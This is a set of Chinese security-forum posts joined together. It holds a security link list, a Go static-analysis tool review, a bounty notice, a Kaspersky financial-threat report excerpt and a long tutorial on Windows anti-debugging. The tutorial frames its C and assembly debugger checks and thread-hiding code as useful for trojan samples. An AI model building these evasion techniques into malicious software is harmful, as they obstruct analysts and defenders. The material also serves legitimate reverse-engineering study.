[https://www.bishopfox.com/blog/2017/08/hot-new-anonymous-chat-app-hijacks-millions-contact-data/](https://www.bishopfox.com/blog/2017/08/hot-new-anonymous-chat-app-hijacks-millions-contact-data/)
[http://thehackernews.com/2017/08/sarahah-privacy.html](http://thehackernews.com/2017/08/sarahah-privacy.html)
**技术类：** ****
********
【样本分析】安卓DDOS僵尸网络：The WireX Botnet
<http://bobao.360.cn/learning/detail/4323.html>
大量android恶意软件样本集
<https://github.com/fs0c131y/Android-Malwares>
[https://github.com/ashishb/android-malware](https://github.com/ashishb/android-malware)
安全相关的优秀演讲集合
[https://github.com/PaulSec/awesome-sec-talks](https://github.com/PaulSec/awesome-sec-talks)
一款android app的通用脱壳工具
[https://github.com/CheckPointSW/android_unpacker](https://github.com/CheckPointSW/android_unpacker)
【视频】Black Hat USA 2017上的PowerShell混淆检测技术分享
[https://www.youtube.com/watch?v=x97ejtv56xw](https://www.youtube.com/watch?v=x97ejtv56xw)
Schools Alert Management Script – Authentication Bypass
[https://www.exploit-db.com/exploits/42578/](https://www.exploit-db.com/exploits/42578/)
Intel ME : 静态分析之道
[https://www.troopers.de/downloads/troopers17/TR17_ME11_Static.pdf](https://www.troopers.de/downloads/troopers17/TR17_ME11_Static.pdf)
Domain Analyzer：自动发现并报告与给定域名相关的信息
[https://github.com/eldraco/domain_analyzer](https://github.com/eldraco/domain_analyzer)
Web安全学习资料汇总
[https://github.com/CHYbeta/Web-Security-Learning](https://github.com/CHYbeta/Web-Security-Learning)
UPX – the Ultimate Packer for eXecutables
[https://github.com/upx/upx](https://github.com/upx/upx)
PowerShell tool that uses WMI to extract saved session information for remote
access
[https://github.com/fireeye/SessionGopher](https://github.com/fireeye/SessionGopher)
Android通用反混淆工具
[https://github.com/CalebFenton/simplify](https://github.com/CalebFenton/simplify) | 社区文章 |
翻译自： <https://medium.com/@prasincs/open-source-static-analysis-for-security-in-2018-part-3-go-8018507568bb>
翻译：聂心明
在过去三年里，我一直用GO做全职开发，期间只休息了一小段时间。我非常喜欢这个语言，因为它有很好的系统类型，安全，支持并发高和我不断处理的性能问题。我最喜欢的关于Go一件事情就是如何轻松的给他写一个工具，和有多少社会会支持它（
<https://blog.cloudflare.com/building-the-simplest-go-static-analysis-tool/>
）。它对各种开发环境都很友好，无论工程师们使用的是Vi，VS
Code，Goland，Emacs，都可以使用goimports，使用gofmt格式化代码，并且你也会看到，可以使用类似的工具去分析静态代码。
# Gometalinter
Go Metalinter（ <https://github.com/alecthomas/gometalinter> ）是本文的TLDR版本--如果你喜欢kitchensink带给你的一切体验，用go metalinter也足够可以检查所有的代码。当你用VS Code写Go项目的时候，VS
Code也会安装一系列不错的工具。下面的代码是教你如何使用metalinter。
go get alecthomas/gometalinter
#Install the packages
gometalinter --install
gometalinter ./...
如果你不喜欢shebang的方法，我将介绍一些其他的工具
# gas
Go AST Scanner（ <http://github.com/GoASTScanner/gas>
）是一个非常好的项目，它可以帮你找到你项目中是否使用MD5，或者你的项目中使用了rand而不是crypto/rand这个包。还可以发现其他类似的东西。
你可以运行下面的代码快速的使用这个工具
go get github.com/GoASTScanner/gas/cmd/gas/...
gas ./...
另外，你也可以过滤不同的错误类型，如果你希望使用gas标记一些事情，你可以使用`#nosec`这个标记来避免警告。通常，你最好为`#nosec`添加一些注释，目的是告诉下一个维护代码的人为什么要这么做。
# safesql
Safesql ( <https://github.com/stripe/safesql> )可以检测出有sql注入的代码--确保用户输入的数据不会导致sql注入攻击。
# goreportcard
总之，当我使用 Goreportcard （ <https://github.com/gojp/goreportcard>
）检查开源项目的时候，我觉得这个项目很浮夸。它会运行几个工具给你的项目打分，然后输出为一个web页面。
我用它检查过一个重要的开源项目，这个开源项目的分数是96%。它不会让你的项目变的更安全，但是如果能得到100%也是很开心的。
# go vet/test
`go vet` 是我最喜欢的用go写的工具，但是它在`go 1.10`这个环境中会遇到很多问题，这样会打乱你的测试。
# dingo-hunter
我没有在特别复杂地非学术项目上运行过 dingo hunter （ <https://github.com/nickng/dingo-hunter> ）
，但这个是一个静态分析器，用来建模并发和寻找死锁。它模型的核心代码是Haskell，并且背后还有一些我不能理解的数学计算的模块。
你可以在 <https://github.com/mre/awesome-static-analysis>
找到更多用于go语言的静态分析器，你也可以自己写一个，这其实很容易。:) | 社区文章 |
目前已发放出去3W多奖金！
2017-9-8：福利增加：月即日起提交通过审核量超过 200，或者周提交通过审核量超过 80， 送 DNSLOG账号一枚，一个账号只有1次获得机会。
DNSLOG文章:<https://xianzhi.aliyun.com/forum/read/384.html>
\-----------------------------------------------------------现在急需找一些大牛们来完善一些漏洞信息（数量有限），
完善漏洞根据提交的内容和字段数，会给予一定的现金奖励（0-100）
有意者私聊我，或者群里找我（群号：237788572）。
建议都加入钉钉群（群里任务详情，领取任务联系 方明）：
\-----------------------------------------------------------------------------------------------------------具体需求：
一、需要白帽子提供/补充的漏洞信息： 完善[漏洞标题] 完善[漏洞简介] 完善[漏洞详情] 二、对于漏洞简介和漏洞详情的补充说明：
1.漏洞简介一般应为一条综合性的对漏洞的成因、危害、影响范围的描述。 2.漏洞详情一般应为技术性的对漏洞的成因描述，如果带上对漏洞的分析属于加分项。
3.漏洞简介和详情，原则上不得使用工具翻译，翻译结果无翻译痕迹除外。 | 社区文章 |
# 前言
我们知道一些游戏为了防止被分析会加入反调试的代码，那么我们的木马样本同样也需要用到反调试技术。攻和防其实是相对的，只有了解了调试的原理，才能更深入的进行对抗，本文就对一些常见的反调试手段进行总结并对深层原理进行探究。
# 调用API
## NtGlobalFlag
在 32 位机器上，`NtGlobalFlag`字段位于`PEB`的`0x68`的偏移处，64 位机器则是在偏移`0xBC`位置，该字段的默认值为
0。当调试器正在运行时，该字段会被设置为一个特定的值
该字段包含有一系列的标志位，由调试器创建的进程会设置以下标志位：
FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)
这里`NtGlobalFlag`的汇编代码如下，如果返回值为`0x70`则程序处于调试状态
mov eax, fs:[30h] ;Process Environment Block
mov al, [eax+68h] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged
那么可以用代码进行判断如下，若返回为TRUE则处于调试状态，若返回FALSE则未处于调试状态
bool CheckNtGlobalFlag()
{
BOOL IsDebug = FALSE;
DWORD NtGlobalFlag = 0;
__asm
{
mov eax, fs:[0x30]
mov eax, [eax + 0x68]
mov NtGlobalFlag, eax
}
if (NtGlobalFlag == 0x70)
{
IsDebug = TRUE;
}
return IsDebug;
}
这里直接用编译器打开，处于调试状态
正常打开则处于未调试状态
## IsDebuggerPresent
`IsDebuggerPresent`这个API位于`kernel32.dll`里面，首先通过0x18偏移找到TEB，再通过0x30找到PEB
然后在PEB的0x2偏移找到`BeingDebugged`，这个值用来存储是否处于调试状态，PEB结构如下
0:023> dt ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
+0x018 Ldr : Ptr64 _PEB_LDR_DATA
+0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
+0x028 SubSystemData : Ptr64 Void
+0x030 ProcessHeap : Ptr64 Void
+0x038 FastPebLock : Ptr64 _RTL_CRITICAL_SECTION
+0x040 AtlThunkSListPtr : Ptr64 _SLIST_HEADER
+0x048 IFEOKey : Ptr64 Void
+0x050 CrossProcessFlags : Uint4B
+0x050 ProcessInJob : Pos 0, 1 Bit
+0x050 ProcessInitializing : Pos 1, 1 Bit
+0x050 ProcessUsingVEH : Pos 2, 1 Bit
+0x050 ProcessUsingVCH : Pos 3, 1 Bit
+0x050 ProcessUsingFTH : Pos 4, 1 Bit
+0x050 ProcessPreviouslyThrottled : Pos 5, 1 Bit
+0x050 ProcessCurrentlyThrottled : Pos 6, 1 Bit
+0x050 ProcessImagesHotPatched : Pos 7, 1 Bit
+0x050 ReservedBits0 : Pos 8, 24 Bits
+0x054 Padding1 : [4] UChar
+0x058 KernelCallbackTable : Ptr64 Void
+0x058 UserSharedInfoPtr : Ptr64 Void
+0x060 SystemReserved : Uint4B
+0x064 AtlThunkSListPtr32 : Uint4B
+0x068 ApiSetMap : Ptr64 Void
+0x070 TlsExpansionCounter : Uint4B
+0x074 Padding2 : [4] UChar
+0x078 TlsBitmap : Ptr64 Void
+0x080 TlsBitmapBits : [2] Uint4B
+0x088 ReadOnlySharedMemoryBase : Ptr64 Void
+0x090 SharedData : Ptr64 Void
+0x098 ReadOnlyStaticServerData : Ptr64 Ptr64 Void
+0x0a0 AnsiCodePageData : Ptr64 Void
+0x0a8 OemCodePageData : Ptr64 Void
+0x0b0 UnicodeCaseTableData : Ptr64 Void
+0x0b8 NumberOfProcessors : Uint4B
+0x0bc NtGlobalFlag : Uint4B
+0x0c0 CriticalSectionTimeout : _LARGE_INTEGER
+0x0c8 HeapSegmentReserve : Uint8B
+0x0d0 HeapSegmentCommit : Uint8B
+0x0d8 HeapDeCommitTotalFreeThreshold : Uint8B
+0x0e0 HeapDeCommitFreeBlockThreshold : Uint8B
+0x0e8 NumberOfHeaps : Uint4B
+0x0ec MaximumNumberOfHeaps : Uint4B
+0x0f0 ProcessHeaps : Ptr64 Ptr64 Void
+0x0f8 GdiSharedHandleTable : Ptr64 Void
+0x100 ProcessStarterHelper : Ptr64 Void
+0x108 GdiDCAttributeList : Uint4B
+0x10c Padding3 : [4] UChar
+0x110 LoaderLock : Ptr64 _RTL_CRITICAL_SECTION
+0x118 OSMajorVersion : Uint4B
+0x11c OSMinorVersion : Uint4B
+0x120 OSBuildNumber : Uint2B
+0x122 OSCSDVersion : Uint2B
+0x124 OSPlatformId : Uint4B
+0x128 ImageSubsystem : Uint4B
+0x12c ImageSubsystemMajorVersion : Uint4B
+0x130 ImageSubsystemMinorVersion : Uint4B
+0x134 Padding4 : [4] UChar
+0x138 ActiveProcessAffinityMask : Uint8B
+0x140 GdiHandleBuffer : [60] Uint4B
+0x230 PostProcessInitRoutine : Ptr64 void
+0x238 TlsExpansionBitmap : Ptr64 Void
+0x240 TlsExpansionBitmapBits : [32] Uint4B
+0x2c0 SessionId : Uint4B
+0x2c4 Padding5 : [4] UChar
+0x2c8 AppCompatFlags : _ULARGE_INTEGER
+0x2d0 AppCompatFlagsUser : _ULARGE_INTEGER
+0x2d8 pShimData : Ptr64 Void
+0x2e0 AppCompatInfo : Ptr64 Void
+0x2e8 CSDVersion : _UNICODE_STRING
+0x2f8 ActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
+0x300 ProcessAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
+0x308 SystemDefaultActivationContextData : Ptr64 _ACTIVATION_CONTEXT_DATA
+0x310 SystemAssemblyStorageMap : Ptr64 _ASSEMBLY_STORAGE_MAP
+0x318 MinimumStackCommit : Uint8B
+0x320 SparePointers : [4] Ptr64 Void
+0x340 SpareUlongs : [5] Uint4B
+0x358 WerRegistrationData : Ptr64 Void
+0x360 WerShipAssertPtr : Ptr64 Void
+0x368 pUnused : Ptr64 Void
+0x370 pImageHeaderHash : Ptr64 Void
+0x378 TracingFlags : Uint4B
+0x378 HeapTracingEnabled : Pos 0, 1 Bit
+0x378 CritSecTracingEnabled : Pos 1, 1 Bit
+0x378 LibLoaderTracingEnabled : Pos 2, 1 Bit
+0x378 SpareTracingBits : Pos 3, 29 Bits
+0x37c Padding6 : [4] UChar
+0x380 CsrServerReadOnlySharedMemoryBase : Uint8B
+0x388 TppWorkerpListLock : Uint8B
+0x390 TppWorkerpList : _LIST_ENTRY
+0x3a0 WaitOnAddressHashTable : [128] Ptr64 Void
+0x7a0 TelemetryCoverageHeader : Ptr64 Void
+0x7a8 CloudFileFlags : Uint4B
+0x7ac CloudFileDiagFlags : Uint4B
+0x7b0 PlaceholderCompatibilityMode : Char
+0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
+0x7b8 LeapSecondData : Ptr64 _LEAP_SECOND_DATA
+0x7c0 LeapSecondFlags : Uint4B
+0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
+0x7c0 Reserved : Pos 1, 31 Bits
+0x7c4 NtGlobalFlag2 : Uint4B
这里如果用vc6的话会提示没有这个API
需要自己定义这个API
直接运行处于调试状态
直接运行则不会显示处于调试状态
## NtQueryInformationProcess
`NtQueryInformationProcess`是微软未公开的一个API，目前只能够通过一些结构的名字和逆向的方式来推断用途
// NtQueryInformationProcess 函数原型
__kernel_entry NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle, // 进程句柄
IN PROCESSINFOCLASS ProcessInformationClass, // 检索的进程信息类型
OUT PVOID ProcessInformation, // 接收进程信息的缓冲区指针
IN ULONG ProcessInformationLength, // 缓冲区指针大小
OUT PULONG ReturnLength // 实际接收的进程信息大小
);
// PROCESSINFOCLASS 结构体原型
typedef enum _PROCESSINFOCLASS
{
ProcessBasicInformation, // 0x0
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort, // 0x7
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information, // 0x1A
ProcessImageFileName, // 0x1B
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle, // 0x1E
ProcessDebugFlags, // 0x1F
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessResourceManagement,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessConsoleHostProcess,
ProcessWindowInformation,
ProcessHandleInformation,
ProcessMitigationPolicy,
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount,
ProcessRevokeFileHandles,
ProcessWorkingSetControl,
ProcessHandleTable,
ProcessCheckStackExtentsMode,
ProcessCommandLineInformation,
ProcessProtectionInformation,
ProcessMemoryExhaustion,
ProcessFaultInformation,
ProcessTelemetryIdInformation,
ProcessCommitReleaseInformation,
ProcessDefaultCpuSetsInformation,
ProcessAllowedCpuSetsInformation,
ProcessSubsystemProcess,
ProcessJobMemoryInformation,
ProcessInPrivate,
ProcessRaiseUMExceptionOnInvalidHandleClose,
ProcessIumChallengeResponse,
ProcessChildProcessInformation,
ProcessHighGraphicsPriorityInformation,
ProcessSubsystemInformation,
ProcessEnergyValues,
ProcessActivityThrottleState,
ProcessActivityThrottlePolicy,
ProcessWin32kSyscallFilterInformation,
ProcessDisableSystemAllowedCpuSets,
ProcessWakeInformation,
ProcessEnergyTrackingState,
ProcessManageWritesToExecutableMemory,REDSTONE3
ProcessCaptureTrustletLiveDump,
ProcessTelemetryCoverage,
ProcessEnclaveInformation,
ProcessEnableReadWriteVmLogging,
ProcessUptimeInformation,
ProcessImageSection,
ProcessDebugAuthInformation,
ProcessSystemResourceManagement,
ProcessSequenceNumber,
ProcessLoaderDetour,
ProcessSecurityDomainInformation,
ProcessCombineSecurityDomainsInformation,
ProcessEnableLogging,
ProcessLeapSecondInformation,
ProcessFiberShadowStackAllocation,
ProcessFreeFiberShadowStackAllocation,
MaxProcessInfoClass
} PROCESSINFOCLASS;
### ProcessDebugPort
未公开的`ntdll`的`NtQueryInformationProcess()`函数接受一个信息类的参数用于查询。
`ProcessDebugPort(7)`是其中的一个信息类，`kernel32`的`CheckRemoteDebuggerPresent()`函数内部通过调用`NtQueryInformationProcess()`来检测调试，而`NtQueryInformationProcess`内部则是查询`EPROCESS`结构体的`DebugPort`字段，当进程正在被调试时，返回值为`0xffffffff`，实现代码如下
typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ UINT ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
bool NtQuery()
{
pfnNtQueryInformationProcess NtQueryInformationProcess = NULL; // 存放 ntdll 中 NtQueryInformationProcess 函数地址
NTSTATUS status; // NTSTATUS 错误代码，0：执行成功
DWORD isDebuggerPresent = -1; // 如果当前被调试，则 = ffffffff
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll")); // ntdll 模块句柄
if (hNtDll)
{
// 取 NtQueryInformationProcess 函数地址
NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
// 取地址成功
if (NtQueryInformationProcess)
{
// NtQueryInformationProcess 检测调试器
status = NtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent, sizeof(DWORD), NULL);
// NtQueryInformationProcess 执行成功
if (status == 0 && isDebuggerPresent != 0)
{
// 输出
printf("status = %d\n", status);
printf("isDebuggerPresent = %x\n", isDebuggerPresent);
printf("当前处于调试状态\n");
getchar();
return 0;
}
}
}
// 输出
printf("status = %d\n", status);
printf("isDebuggerPresent = %x\n", isDebuggerPresent);
printf("当前未处于调试状态\n");
}
当`isDebuggerPresent`的值为-1的时候处于调试状态
为0的时候则为正常启动
### ProcessDebugObjectHandle
`ProcessDebugObjectHandle`位于0x1E偏移，当`status`不为0、`isDebuggerPresent`不等于0时则处于调试状态
status = NtQueryInformationProcess(GetCurrentProcess(), 0x1E, &isDebuggerPresent, sizeof(DWORD), NULL);
### ProcessDebugFlags
`ProcessDebugFlags
(0x1f)`类返回`EPROCESS`结构体的`NoDebugInherit`的相反数，当调试器存在时，返回值为0，不存在时则返回4
status = NtQueryInformationProcess(GetCurrentProcess(), 0x1F, &isDebuggerPresent, sizeof(DWORD), NULL);
if (status == 0 && isDebuggerPresent == 0)
## 父进程
我们一般正常模式启动程序其父进程一般都是`explorer.exe`(不考虑服务进程)，而当我们处于调试状态则父进程为调试器进程，那么我们就可以通过`ntdll.dll`里面的`NtQueryInformationProcess`来进行判断，实现代码如下
bool CheckParentProcess()
{
pfnNtQueryInformationProcess NtQueryInformationProcess = NULL; // 存放 ntdll 中 NtQueryInformationProcess 函数地址
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll")); // ntdll 模块句柄
if (hNtDll)
{
struct PROCESS_BASIC_INFORMATION {
ULONG ExitStatus; // 进程返回码
PPEB PebBaseAddress; // PEB地址
ULONG AffinityMask; // CPU亲和性掩码
LONG BasePriority; // 基本优先级
ULONG UniqueProcessId; // 本进程PID
ULONG InheritedFromUniqueProcessId; // 父进程PID
}ProcInfo;
NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess");
NtQueryInformationProcess(
GetCurrentProcess(),
ProcessBasicInformation, // 需要查询进程的基本信息
&ProcInfo,
sizeof(ProcInfo),
NULL);
DWORD ExplorerPID = 0;
DWORD CurrentPID = ProcInfo.InheritedFromUniqueProcessId;
GetWindowThreadProcessId(FindWindow(L"DebugPrint", NULL), &ExplorerPID);
return ExplorerPID == CurrentPID ? false : true;
}
}
实现效果如下
## KernelDebuggerEnabled
`NtQuerySystemInformation`被 `ntdll.dll`导出，当第一个参数传入 `0x23
（SystemInterruptInformation）` 时，会返回一个
`SYSTEM_KERNEL_DEBUGGER_INFORMATION`结构，里面的成员`KdKdDebuggerEnable`和
`KdDebuggerNotPresent`标志系统是否启用内核调试
typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {
BOOLEAN KernelDebuggerEnabled;
BOOLEAN KernelDebuggerNotPresent;
} SYSTEM_KERNEL_DEBUGGER_INFORMATION, * PSYSTEM_KERNEL_DEBUGGER_INFORMATION;
typedef NTSTATUS(WINAPI* pNtQuerySystemInformation)(IN UINT SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
bool CheckSystemKernelDebuggerInformation()
{
pNtQuerySystemInformation NtQuerySystemInformation = NULL; // 存放 ntdll 中 NtQueryInformationProcess 函数地址
HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll")); // ntdll 模块句柄
if (hNtDll)
{
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hNtDll, "NtQuerySystemInformation");
struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION {
BOOLEAN KernelDebuggerEnabled;
BOOLEAN KernelDebuggerNotPresent;
}DebuggerInfo = { 0 };
NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)0x23, // 查询信息类型
&DebuggerInfo, // 输出查询信息
sizeof(DebuggerInfo), // 查询类型大小
NULL); // 实际返回大小
// 通过是否开启内核调试器知道当前系统有没有被调试
return DebuggerInfo.KernelDebuggerEnabled;
}
因为这里检测的是否启用内核调试，这里直接运行是不处于调试状态
使用调试模式启动win10运行则显示处于调试状态
## ThreadHideFromDebugger
通过`ZwSetInformationThread`函数，设置
`ThreadHideFromDebugger`此参数将使这条线程对调试器隐藏，即调试器收不到调试信息
typedef enum THREAD_INFO_CLASS {
ThreadHideFromDebugger = 17
};
typedef NTSTATUS(NTAPI* ZW_SET_INFORMATION_THREAD)(
IN HANDLE ThreadHandle,
IN THREAD_INFO_CLASS ThreadInformaitonClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength);
void ZSIT_DetachDebug()
{
ZW_SET_INFORMATION_THREAD ZwSetInformationThread;
ZwSetInformationThread = (ZW_SET_INFORMATION_THREAD)GetProcAddress(LoadLibrary(L"ntdll.dll"), "ZwSetInformationThread");
ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, NULL);
}
这里调用函数之后为了证明程序运行成功，这里加上一行输出语句
然后尝试使用od附加，这里可以看到是没有`DebugPrint.exe`这个进程的
那么这里为了更明显一点，首先看下QQ的PID是3872对应十六进制为F20是能够对应上的
然后计算`DebugPrint.exe`的十六进制为5D8，在进程里面是看不到的
# 原理
我们在前面介绍了一些反调试的手段，基本上都是通过对内核的某个标志进行修改来达到反调试的效果，但是这里有一个问题就是，如果分析人员对我们的样本的API进行了hook，那么我们的反调试手段都将作废，也就是说我们还是要深入底层去探究调试器与被调试器直接究竟是如何建立连接的，只有了解了原理，我们才能更加得心应手的进行对抗
在windows里面，每个程序的低2G是独立使用的，高2G(内核)区域是共用的。那么我们假设一个场景，我们的3环调试器要想和被调试程序之间建立通信肯定就需要涉及到进程间的通信以及数据的交换，如果这个过程放在3环完成，不停的进程通信会很繁琐，所以windows选择将这个过程放在0环进行。调试器与被调试程序之间只能通过`CreateProcess`和`DebugActiveProcess`这两个API建立起连接，这里我们探究`DebugActiveProcess`是如何建立起两者之间的连接的
## 与调试器建立连接
首先看一下`DebugActiveProcess`
调用`ntdll.dll`的`DbgUiConnectToDbg`
再调用`ZwCreateDebugObject`
通过调用号进入0环
进入0环创建`DEBUG_OBJECT`结构体
typedef struct _DEBUG_OBJECT {
KEVENT EventsPresent;
FAST_MUTEX Mutex;
LIST_ENTRY EventList;
ULONG Flags;
} DEBUG_OBJECT, *PDEBUG_OBJECT;
然后到`ntoskrnl`里面看一下`NtCreateDebugObject`
然后调用了`ObInsertObject`创建`DebugObject`结构返回句柄
再回到`ntdll.dll`，当前线程回0环创建了一个`DebugObject`结构，返回句柄到3环存放在了TEB的`0xF24`偏移处
也就是说，遍历TEB的`0xF24`偏移的地方，如果有值则一定是调试器
## 与被调试程序建立连接
还是回到`kernel32.dll`的`DebugActiveProcess`，获取句柄之后调用了`DbgUiDebugActiveProcess`
调用`ntdll.dll`的`DbgUiDebugActiveProcess`
跟到`ntdll.dll`里面的`DbgUiDebugActiveProcess`，传入两个参数，分别为调试器的句柄和被调试进程的句柄
通过调用号进0环
来到0环的`NtDebugActiveProcess`， 第一个参数为被调试对象的句柄，第二个参数为调试器的句柄
执行`ObReferenceObjectByHandle`，把被调试进程的句柄放到第五个参数里面，这里eax本来存储的是调试器的`EPROCESS`，执行完之后eax存储的就是被调试进程的`EPROCESS`
这里判断调试器打开的进程是否是自己，如果是自己则直接退出
也不能调试系统初始化的进程
然后获取调试对象的地址，之前是句柄，但是句柄在0环里面是无效的，这里就要找真正的地址
获取到调试对象的地址之后还是存到`ebp+Process`的地方，这里之前是被调试对象的地址，现在存储的是调试对象的地址
将调试进程和被调试的`PEPROCESS`传入`_DbgkpSetProcessDebugObject`，将调试对象和被调试进程关联起来
跟进函数，发现有判断`DebugPort`是否为0的操作，ebx为0，edi为被调试进程的EPROCESS，那么`edi+0bc`就是调试端口
然后再把调试对象的句柄放到被调试对象的`DebugPort`里面
## 调试事件
调试事件是在调试过程中导致系统通知调试器的事件，调试事件包括创建进程、创建线程、加载动态链接库 (DLL) 、卸载
DLL、发送输出字符串和生成异常。我们知道调试器和被调试程序的通信主要依赖于0环的`_DEBUG_OBJECT`结构，然后被调试程序在进行操作时(如：创建进程线程、加载dll)等，就会将一个调试事件写入到`_DEBUG_OBJECT`结构里面，调试器获得句柄即可进行调试
这里就会使用调试事件采集函数来对调试事件进行写入，调试器在被调试进程进行特定操作的必经之路中调试事件采集函数，必经之路分为5条，其中以Dbgk开头的函数为调试事件采集函数，所有调试事件采集函数最终都会调用`DbgkpSendApiMessage`将封装好的调试事件结构体写入到链表当中。
`DbgkSendApiMessage`有两个参数，第一个参数为调试事件类型，第二个参数为是否挂起其它线程，有时需要，比如0xCC，有时不需要，比如模块加载。
例如创建进程、线程必经之路：
PspUserThreadStartup()
↓
DbgkCreateThread()
↓
DbgkpSendApiMessage()
退出线程、进程必经之路：
PspExitThread()
↓
DbgkExitThread()/DbgkExitProcess()
↓
DbgkpSendApiMessage()
我们跟一下`PspExitThread`，首先在`PspExitThread`里面判断`Debugport`是否为0，如果为0则不处于调试状态就不会跳转，如果不为0则为调试状态则跳转到`loc_52E3AC`
然后这里有个判断，如果当前线程是最后一个线程则跳转到`DbgkExitProcess`退出进程，如果不是最后一个线程则跳转到`DbgkExitThread`退出当前线程
这里我们跟`DbgkExitProcess`，这里调用了`DbgkpSendApiMessage`，这个函数的作用就是将被调试程序发送过来的调试事件挂入`_DEBUG_OBJECT`
这里继续跟进去，如果不挂起进程则用`DbgkpQueueMessage`收集调试事件的有关信息
跟进`DbgkpQueueMessage`可以看到最终通过`DebugPort`得到被调试程序的`_DEBUG_OBJECT`的地址
这里继续往下走，通过链表操作添加调试事件信息
## 总结
首先调试器进程先创建一个`_DEBUG_OBJECT`结构放到`TEB`的`0xF24`处，存储的是`_DEBUG_OBJECT`结构的句柄，然后在被调试程序`EPROCESS`的`DebugPort`的地方存储`_DEBUG_OBJECT`结构的地址，然后通过调用`DbgkpSendApiMessage`进行调试事件的采集，把句柄放到`_DEBUG_OBJECT`结构，供调试器使用
那么了解了调试器和被调试器之间如何建立连接，我们就可以通过以下几种方式来进行反调试
1.不断将`EPROCESS`的`DebugPort`清零，使调试器不能够和被调试程序建立连接
2.遍历每个线程`TEB`的`0xF24`，如果存在值就证明有调试器
3.要想建立连接必须要在0环创建`_DEBUG_OBJECT`结构，使用`NtCreateDebugObject`，直接hook
`NtCreateDebugObject`达到监控的效果
4.被调试进程必须通过`DbgkpSendApiMessage`将调试事件放入`_DEBUG_OBJECT`结构供调试器使用，那么这里就可以直接hook
对应的调试事件，如创建进程就hook `DbgkCreateThread`，也可以直接hook
`DbgkpSendApiMessage`达到监控所有调试事件的效果 | 社区文章 |
# 卡巴斯基——2019上半年金融威胁报告
|
##### 译文声明
本文是翻译文章，文章原作者 securelist，文章来源：securelist.com
原文地址：<https://securelist.com/financial-threats-in-h1-2019/91899/>
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
卡巴斯基报告中的金融威胁是指主要针对在线银行、电子货币、加密货币等服务的用户的恶意程序，以及试图入侵金融机构及其基础设施的威胁。为了研究针对金融行业的威胁图景，卡巴斯基研究人员分析了卡巴斯基用户遭遇的恶意活动案例。为了跟踪恶意软件的发展趋势，这些数据被与2018年的相同时期进行比较。卡巴斯基研究人员将这些季度性的统计数据划分为两大类
–
企业用户和个人用户。一般而言，第二季度和第三季度的数据与第一季度和第四季度的数据差异较大，因为后两者期间人们往往出去度假并且企业财务活动较少。报告中还分析了最为活跃的恶意软件家族。
## 主要发现
* 在2019年上半年，超过43万个不同的用户遭到金融威胁攻击 – 比2018年同期增长了7%。
* 2019年上半年金融攻击的数量是10,493,792次 – 比2018年同期增长93%。
* 卡巴斯基检测到的金融威胁样本是5,242,462个 – 比前一年增长74%。
* 遭受金融威胁攻击的用户比例最大的国家是中国和白罗斯（二者都是2.3%）。第二名和第三名分别是委内瑞拉（2.2％）和韩国（2.1％）。
